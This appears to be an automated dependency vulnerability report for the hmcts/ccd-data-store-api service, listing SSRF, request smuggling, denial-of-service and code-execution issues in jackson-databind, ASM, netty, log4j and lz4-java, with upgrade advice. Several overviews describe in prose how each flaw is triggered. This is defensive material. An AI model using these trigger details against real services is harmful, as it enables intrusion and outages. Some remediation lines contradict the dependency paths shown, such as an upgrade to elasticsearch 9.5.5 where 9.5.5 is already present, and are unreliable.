Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the POJOPropertiesCollector._removeUnwantedIgnorals process. An attacker can access or modify properties that were intended to be ignored by supplying JSON input with keys matching the renamed property names, thereby bypassing intended access restrictions.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the JDKFromStringDeserializer class, which constructs InetSocketAddress and resolves the hostname through DNS at deserialization time. An attacker can force the server to issue outbound DNS lookups for chosen hostnames by submitting JSON that is deserialized into a type holding an InetSocketAddress field, with no authentication required. The observable effect is limited to DNS resolution of attacker-chosen names, useful for out-of-band interaction or internal resolver probing rather than a full outbound request, and it applies only where the application deserializes untrusted JSON into types containing such fields.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.5.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the STD_INET_ADDRESS branch in FromStringDeserializer in src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java. An attacker can trigger outbound DNS lookups and blind SSRF behavior by supplying a hostname string in JSON that is deserialized into java.net.InetAddress. When application code binds untrusted input into an InetAddress field or type, the deserializer calls InetAddress.getByName(value) on the attacker-controlled string and resolves it before any application validation runs. This lets an attacker force DNS-based callbacks or probe internal hostnames, causing unwanted network egress and leaking resolver-visible information.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.6.
Overview
Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') through NioPathDeserializer in src/main/java/com/fasterxml/jackson/databind/ext/NioPathDeserializer.java. An attacker can force readValue() to resolve an attacker-controlled java.nio.file.Path URI by supplying a non-file scheme such as jar:, http:, s3:, or a custom provider scheme in untrusted JSON. That input reaches new URI(value) and then Path.of(uri), which falls back to ServiceLoader<FileSystemProvider> resolution and can invoke a matching provider’s getPath(uri) during deserialization. The result is unintended provider loading and provider-driven path handling inside the application, which can trigger denial of service or other side effects depending on what FileSystemProvider implementations are present on the classpath.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm
- Introduced through: net.minidev:json-smart@2.6.0, com.jayway.jsonpath:json-path@2.10.0 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › com.nimbusds:oauth2-oidc-sdk@11.38.2 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the computeAllFrames method in MethodWriter. An attacker can exhaust CPU and tie up class-file transformation threads for an unbounded time by supplying crafted class files for processing with ClassWriter.COMPUTE_FRAMES; their methods make frame computation’s fixpoint algorithm converge slowly.
Remediation
Upgrade org.ow2.asm:asm to version 9.11 or higher.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm
- Introduced through: net.minidev:json-smart@2.6.0, com.jayway.jsonpath:json-path@2.10.0 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › com.nimbusds:oauth2-oidc-sdk@11.38.2 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the computeAllFrames() and computeMaxStackAndLocal() methods in MethodWriter. When ASM processes a crafted class file with thousands of overlapping exception handlers using COMPUTE_FRAMES or COMPUTE_MAXS, it allocates excessive Edge objects, causing an OutOfMemoryError that crashes the JVM.
Remediation
Upgrade org.ow2.asm:asm to version 9.11 or higher.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm
- Introduced through: net.minidev:json-smart@2.6.0, com.jayway.jsonpath:json-path@2.10.0 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › com.nimbusds:oauth2-oidc-sdk@11.38.2 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via readBootstrapMethodsAttribute() in ClassReader. When an application parses an attacker-supplied class file, a crafted BootstrapMethods attribute with an unchecked declared length can trigger an allocation of roughly 2 GB from a file of about 100 bytes, causing an OutOfMemoryError that crashes the JVM or the thread processing the class.
Remediation
Upgrade org.ow2.asm:asm to version 9.11 or higher.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm
- Introduced through: net.minidev:json-smart@2.6.0, com.jayway.jsonpath:json-path@2.10.0 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › com.nimbusds:oauth2-oidc-sdk@11.38.2 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the addSubroutineRetSuccessors() method in the Label class. An attacker can crash the JVM by supplying a crafted invalid class file with multiple RET instructions for one JSR while ASM processes the subroutine.
Notes
- The attacker must get a user to load or process the crafted class file.
Remediation
Upgrade org.ow2.asm:asm to version 9.11 or higher.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm
- Introduced through: net.minidev:json-smart@2.6.0, com.jayway.jsonpath:json-path@2.10.0 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › com.nimbusds:oauth2-oidc-sdk@11.38.2 › net.minidev:json-smart@2.6.0 › net.minidev:accessors-smart@2.6.0 › org.ow2.asm:asm@9.7.1
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the parseType method in SignatureReader. An attacker can trigger a StackOverflowError and disrupt class transformation by supplying a crafted class file with a Signature attribute containing deeply nested generic type arguments.
Remediation
Upgrade org.ow2.asm:asm to version 9.11 or higher.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm-debug-all
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.ow2.asm:asm-debug-all@5.1
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the computeAllFrames method in MethodWriter. An attacker can exhaust CPU and tie up class-file transformation threads for an unbounded time by supplying crafted class files for processing with ClassWriter.COMPUTE_FRAMES; their methods make frame computation’s fixpoint algorithm converge slowly.
Remediation
There is no fixed version for org.ow2.asm:asm-debug-all.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm-debug-all
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.ow2.asm:asm-debug-all@5.1
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the computeAllFrames() and computeMaxStackAndLocal() methods in MethodWriter. When ASM processes a crafted class file with thousands of overlapping exception handlers using COMPUTE_FRAMES or COMPUTE_MAXS, it allocates excessive Edge objects, causing an OutOfMemoryError that crashes the JVM.
Remediation
There is no fixed version for org.ow2.asm:asm-debug-all.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm-debug-all
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.ow2.asm:asm-debug-all@5.1
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via readBootstrapMethodsAttribute() in ClassReader. When an application parses an attacker-supplied class file, a crafted BootstrapMethods attribute with an unchecked declared length can trigger an allocation of roughly 2 GB from a file of about 100 bytes, causing an OutOfMemoryError that crashes the JVM or the thread processing the class.
Remediation
There is no fixed version for org.ow2.asm:asm-debug-all.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm-debug-all
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.ow2.asm:asm-debug-all@5.1
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the addSubroutineRetSuccessors() method in the Label class. An attacker can crash the JVM by supplying a crafted invalid class file with multiple RET instructions for one JSR while ASM processes the subroutine.
Notes
- The attacker must get a user to load or process the crafted class file.
Remediation
There is no fixed version for org.ow2.asm:asm-debug-all.
References
medium severity
new
- Vulnerable module: org.ow2.asm:asm-debug-all
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.ow2.asm:asm-debug-all@5.1
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the parseType method in SignatureReader. An attacker can trigger a StackOverflowError and disrupt class transformation by supplying a crafted class file with a Signature attribute containing deeply nested generic type arguments.
Remediation
There is no fixed version for org.ow2.asm:asm-debug-all.
References
medium severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.
In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).
Alternative Remediation
If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:
- Disable/remove
JDBCAppender - If
JDBCAppenderis used, make sure that it is not configured to use any protocol other than Java
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Denial of Service (DoS). When the post request body data received by the server is greater than 16k, netty will use DiskAttribute, which will create a temporary file, and use deleteOnExit() when the file needs to be deleted, which results in DeleteOnExitHook.files continually growing and leading to a denial of service.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.53.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty currently just skips control characters when these are present at the beginning or end of the header name. It should instead fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore, and therefore does not do the validation itself.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.71.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.
Note:
io.netty:netty is deprecated. Users should update to io.netty:netty-all
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.42.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Denial of Service (DoS) such that if the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which leads the server to buffer up to 16MB of data per connection.
The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.
Note:
An attacker can craft a packet that makes the SslClientHelloHandler to:
Allocate a 16MB
ByteBuf.Not fail
decodemethod in buffer.Get out of the loop without an exception.
The combination of this without the use of a timeout makes it easy to connect to a TCP server and allocate 16MB of heap memory per connection.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade io.netty:netty-handler to version 4.1.94.Final or higher.
References
medium severity
new
- Vulnerable module: at.yawk.lz4:lz4-java
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion in the refill function when processing LZ4 block streams with stopOnEmptyBlock set to false. An attacker can cause a thread to terminate unexpectedly by providing a stream with a large number of consecutive empty blocks, leading to stack exhaustion and application unavailability. This is only exploitable if the configuration option stopOnEmptyBlock is explicitly set to false.
Remediation
Upgrade at.yawk.lz4:lz4-java to version 1.11.4 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.
Note:
This is only exploitable if all of the following conditions are met:
The application uses
DefaultHttpRequestorDefaultFullHttpRequest;The request object is created first and later modified through
setUri();The value passed into
setUri()is attacker-controlled or attacker-influenced;The object is eventually serialized by
HttpRequestEncoderorRtspEncoder.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the WebSocket handshake. An attacker can bypass expected header validation by sending a Sec-WebSocket-Version: 7 header while omitting the Connection: Upgrade and Upgrade: websocket headers, which may result in a protocol switch that is not recognized by intermediary proxies, potentially enabling HTTP request smuggling or protocol confusion attacks.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
medium severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.
Workaround
